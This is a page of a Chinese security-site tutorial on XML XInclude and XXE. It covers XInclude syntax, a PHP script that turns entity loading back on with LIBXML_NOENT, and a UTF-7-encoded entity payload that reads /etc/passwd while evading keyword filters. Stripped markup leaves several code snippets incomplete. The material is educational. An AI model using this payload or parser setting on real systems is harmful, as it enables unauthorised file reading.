欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

浅析xml之xinclude & xslt

来源:本站整理 作者:佚名 时间:2018-08-18 TAG: 我要投稿

Xinclude
什么是xinclude
顾名思义,xinclude可以理解为xml include熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的。那么文件包含有什么好处?当然是可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性故此,xinclude也不例外,它是xml标记语言中包含其他文件的方式
为什么使用xinclude
正如如上所说,xinclude可以使代码可读性更高,这里给出官方手册中的样例,便于理解:page.xml
xml version="1.0"?>
webpage>
body>Hello world!body>
   xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/>
webpage>
footer.xml:
xml version="1.0"?>
footer>? Contoso Corp, 2003footer>
处理过程

xinclude的语法介绍
xinclude的语法相对来说,非常简单,只是在http://www.w3.org/2003/XInclude命名空间中的两个元素,即 include 和 fallback常用的命名空间前缀是“xi”(但可以根据喜好自由使用任何前缀)
xi:include 元素
元素中的几个属性:
href — 对要包括的文档的 URI 引用。
parse — 它的值可以是“xml”或“text”,用于定义如何包括指定的文档(是作为 XML 还是作为纯文本)。默认值是“xml”。
xpointer — 这是一个 XPointer,用于标识要包括的 XML 文档部分。如果作为文本包括 (parse=”text”),将忽略该属性。
encoding — 作为文本包括时,该属性提供所包括文档的编码提示信息。样例如下:
xi:include href="test.xml" parse="text"/>
xi:fallback 元素
简单而言,类似于try...except...,如果xinclude的内容出现问题,则显示fallback的内容例如
xi:include href="test.xml" parse="text"/>
    xi:fallback>Sorry, the file is unavailablexi:fallback>
xi:include>
此时解析xml后,若test.xml不存在,则会解析获取到Sorry, the file is unavailable
安全问题
看完上述内容,一定会有人问,为什么不直接使用外部实体引入就好了?这里官方文档也给出了详尽的解释:XML 外部实体有很多众所周知的局限和不便于使用的含义,这些因素极大地妨碍了 XML 外部实体成为多用途包含工具:
1.XML 外部实体无法成为一个成熟的独立 XML 文档,因为它既不允许独立的 XML 声明,也不允许 Doctype 声明。这实际上意味着 XML 外部实体本身无法包括其他外部实体。
2.XML 外部实体必须是格式规范的 XML
3.未能加载外部实体是重大错误 (fatal error);严格禁止任何恢复。
4.只能包括整个外部实体,无法只包括文档的一部分。
5.外部实体必须在 DTD 或内部子集中进行声明。等等,外部实体?讲到安全问题,你是否立刻就想到了XXE(XML External Entity Injection)任意文件读取的问题?没错,xinclude作为外部实体引用的替代品,同样具有XXE的问题,并且还有一些特别的地方:
传统的XXE文件读取
$xml =
]>
&f;
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
// load the XML string defined above
$dom->loadXML($xml);
// substitute xincludes
echo $dom->saveXML();
?>
但是访问该页面,我们却发现并没有解析xml

这是因为php的xml库的底层库是libxml2,而在2.6版本之后,改库已默认禁用外部实体引用的解析,我们可以使用
echo LIBXML_DOTTED_VERSION;
来查看当前版本号

所以我当前的xml解析已默认不支持外部实体引入了,故此我们查阅php手册中的libxml option constants,可以发现使用LIBXML_NOENT选项即可加载外部实体所以关键代码更改为
$dom->loadXML($xml,LIBXML_NOENT);
即可:

传统文件读取进阶版—过滤
倘若我们发现外部实体引入时,存在关键词过滤例如
ENTITY
等被过滤,那么我们可以尝试使用utf-7编码例如
]>
x>&f;x>
我们利用
https://www.motobit.com/util/charset-codepage-conversion.asp
转为utf-7
+ADwAIQ-DOCTYPE ANY +AFs-
  +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
然后使用
xml version="1.0" encoding="utf-7" ?>
测试脚本
$xml =
+ADwAIQ-DOCTYPE ANY +AFs-
    +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载